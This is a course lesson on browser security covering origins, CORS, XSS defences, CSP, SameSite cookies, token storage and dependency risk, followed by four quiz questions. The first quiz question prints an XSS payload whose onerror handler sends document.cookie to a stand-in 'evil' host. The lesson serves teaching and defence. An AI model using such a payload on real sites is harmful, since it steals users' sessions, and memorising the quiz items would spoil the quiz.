Lesson 28 of 28
Security in the Browser
The same-origin policy, CORS from the server's side, XSS and CSP, SameSite cookies, token storage and supply chain risk — the part of security you own.
A support tool rendered ticket bodies with innerHTML so agents could see
basic formatting. A customer submitted a ticket containing an image tag with an
onerror handler. The first agent to open it shipped their session token to a
server in another country, and the attacker had admin access before anyone
looked at a log. One property assignment, four years old, written by someone
who knew better and was in a hurry.
Browser security is a small number of mechanisms you either use correctly or do not use at all. Here they are.
Origins
An origin is the triple scheme, host, port. Everything else about a URL is irrelevant to it.
https://app.example.com origin A
https://api.example.com different host -> different origin
http://app.example.com different scheme -> different origin
https://app.example.com:8443 different port -> different origin
https://app.example.com/admin same origin
The same-origin policy stops a document from reading across origins: another origin's DOM, its response bodies, its cookies, its storage. What it does not stop is sending. A form on any site can POST to yours, an image tag can hit any URL, and the browser will attach the user's cookies while doing it. That gap is where CSRF lives.
The old escape hatch, setting document.domain to a shared parent, is
deprecated and disabled by default in Chromium. If you inherited code relying
on it, move to postMessage with a checked event.origin.
CORS, from the server's side
CORS stops feeling arbitrary once you see what it is: a way for a server to
say "this other origin is allowed to read my responses". It relaxes the
same-origin policy. It does not protect your server, and it does not exist in
curl.
A simple request goes straight out. It qualifies if the method is GET, HEAD
or POST, the headers are on the safelist, and Content-Type is one of
application/x-www-form-urlencoded, multipart/form-data or text/plain. The
request happens either way; the browser then hides the response from your code
unless the headers allow it. The side effect on the server has already
occurred.
Anything else — PUT, DELETE, Content-Type: application/json, an
Authorization header — triggers a preflight:
OPTIONS /orders HTTP/1.1
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: content-type, authorizationHTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, PUT, DELETE
Access-Control-Allow-Headers: content-type, authorization
Access-Control-Max-Age: 86400Max-Age is the one people forget. Without it every request pays for two round
trips.
With credentials: "include", two rules tighten. Access-Control-Allow-Origin
must name the exact origin — a wildcard is refused, because "anyone may read
this" combined with the user's cookies would expose every user's data to every
site. And Access-Control-Allow-Credentials: true must be present. If you echo
the Origin header back to satisfy this, validate it against an allowlist
first; reflecting it unconditionally is the same as a wildcard, with extra
steps.
Custom response headers are invisible to JavaScript unless listed in
Access-Control-Expose-Headers, which is why your pagination header keeps
coming back null.
XSS, in three forms
Stored. The payload is persisted and served to other users. The ticket example above. The worst kind, because it fires without the victim doing anything unusual.
Reflected. The payload rides in the URL and is echoed into the response — a search term printed back on the results page. Requires a crafted link, which phishing supplies.
DOM-based. The payload never reaches the server. Client code takes
location.hash or a query parameter and feeds it to a sink: innerHTML,
document.write, eval, setTimeout with a string, or a javascript: URL
assigned to href. Your server logs are clean and the bug is entirely yours.
Defences that work
Encode on output, in the right context. Not on input. The same string is safe in an HTML body, dangerous in an attribute, and dangerous differently in a URL or inside a script block. Only the point of output knows which.
Prefer textContent. It creates a text node. Markup in the value is never
parsed as markup, so there is nothing to escape.
Treat innerHTML as a decision, not a convenience. Every use should be
justifiable in review. insertAdjacentHTML and document.write carry the same
risk.
Sanitise with a real library if you must render rich HTML. DOMPurify. Never a regular expression of your own — the bypass list for hand-rolled filters is long and public.
Trusted Types turn this from discipline into enforcement. With
require-trusted-types-for 'script' in your CSP, assigning a plain string to
innerHTML throws a TypeError; only values produced by a policy you defined
are accepted. It converts a class of runtime vulnerability into a build-time
error. Chromium-based browsers only for now, which still covers most attack
traffic.
Framework users are not exempt. React escapes interpolated text, but
dangerouslySetInnerHTML is exactly what it says, and href={userValue} will
happily render a javascript: URL.
Blocklists fail because the attack surface is every element and attribute that can execute, not one tag. Allowlist, or hand it to DOMPurify.
Content Security Policy
CSP is the second line: it limits the damage when an injection does land.
Content-Security-Policy:
default-src 'self';
script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
require-trusted-types-for 'script'The nonce must be generated per response and be unguessable, and every legit
<script> carries it. strict-dynamic lets a trusted script load further
scripts, which is what makes this workable with a bundler. object-src 'none'
and base-uri 'none' close two classic bypasses.
Two things to know. Host allowlists are weak — Google's audit found the large
majority of allowlist policies bypassable through a JSONP endpoint or an open
redirect on some permitted domain. Nonces are the current recommendation. And
unsafe-inline cancels the point of the whole header; if you add it to make a
third-party widget work, you have chosen the widget over the policy. Roll out
with Content-Security-Policy-Report-Only and a report-to endpoint first.
CSRF and SameSite
CSRF exploits the fact that the browser attaches cookies to cross-site requests automatically. A hidden form on any page can POST to your transfer endpoint, authenticated.
SameSite=Lax is now the default in Chromium: cookies are withheld from
cross-site POSTs but sent on top-level GET navigation, so ordinary inbound
links still work. Strict withholds them even then, which breaks links into
authenticated pages. None requires Secure.
Do not rely on the default alone. Set it explicitly, and for state-changing
requests also check Sec-Fetch-Site — reject anything cross-site — or use a
synchroniser token. And keep GET free of side effects, because a cookie will be
attached to one.
Clickjacking
An attacker frames your page invisibly over their own UI and harvests real
clicks. frame-ancestors 'none' in the CSP is the modern control; 'self' if
you frame yourself. X-Frame-Options is the older header, obsoleted by
frame-ancestors but harmless to keep for legacy agents.
Where to keep a token
Argued properly, because the slogans on both sides are wrong.
localStorage is readable by every script running on the origin, including one
injected through XSS or shipped in a compromised dependency. A stolen bearer
token then works from the attacker's own machine for its full lifetime, with no
browser involved.
An httpOnly, Secure, SameSite cookie cannot be read by script at all. XSS
is still catastrophic — the attacker can make authenticated requests from the
page — but the credential does not leave the browser, and the attack ends when
the tab closes. In exchange you take on CSRF, which SameSite plus an origin
check handles.
The honest summary: neither survives XSS unharmed, but the blast radius differs
sharply, and httpOnly cookies are the better default for session credentials. A
short-lived access token in memory with a refresh token in an httpOnly cookie
is the strongest common arrangement. Never keep a token in sessionStorage
because it feels safer; it has the same exposure.
Dependencies
Your bundle is mostly other people's code, and a transitive dependency you have
never heard of runs with the same privileges as yours. event-stream,
ua-parser-js and node-ipc were all published, installed and executed as
normal packages.
Commit the lockfile and install with npm ci. Read what a new dependency pulls
in before adding it. Run --ignore-scripts in CI where you can, since
postinstall is the usual foothold. Treat npm audit as a starting point, not
a verdict — it over-reports in dev dependencies and under-reports typosquats.
For third-party scripts you load by URL, use subresource integrity:
<script
src="https://cdn.example.com/widget.v2.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"
></script>The browser hashes the file and refuses to execute it if the hash differs, so a compromised CDN cannot swap the file. It only works for content that never changes, so pin a version. It does nothing for a script that is malicious at the version you pinned.
Not security
- Obfuscation and minification. A deobfuscator takes seconds.
- A key in the bundle. It is in the Network tab. If the client can send it, the user can read it. Proxy through your own server.
- Client-side validation. It is a UX feature. Every rule must exist on the server too.
- A hidden admin route or a disabled button. The endpoint is what needs the authorisation check.
What to remember
- Origin is scheme, host and port. The policy blocks reading, not sending.
- CORS grants read access to a named origin. Wildcard plus credentials is refused, correctly.
textContentby default;innerHTMLneeds a reason; DOMPurify if you need markup.- CSP is damage limitation, and
unsafe-inlinethrows that away. SameSiteplus an origin check for CSRF;frame-ancestorsfor clickjacking.- httpOnly cookies over
localStoragefor session tokens, and pin third-party scripts with SRI.
Check yourself
4 questions · pass 3/4 to finish the course
1.A display name is rendered with
innerHTML. An attacker sets theirs to<img src=x onerror="fetch('//evil/'+document.cookie)">. Which single change stops the payload running?2.Why does a browser refuse
Access-Control-Allow-Origin: *on a response to a credentialed request?3.A policy reads
script-src 'self' 'unsafe-inline'. What does it defend against?4.What does an httpOnly cookie give you that a token in
localStoragedoes not?
4 left to answer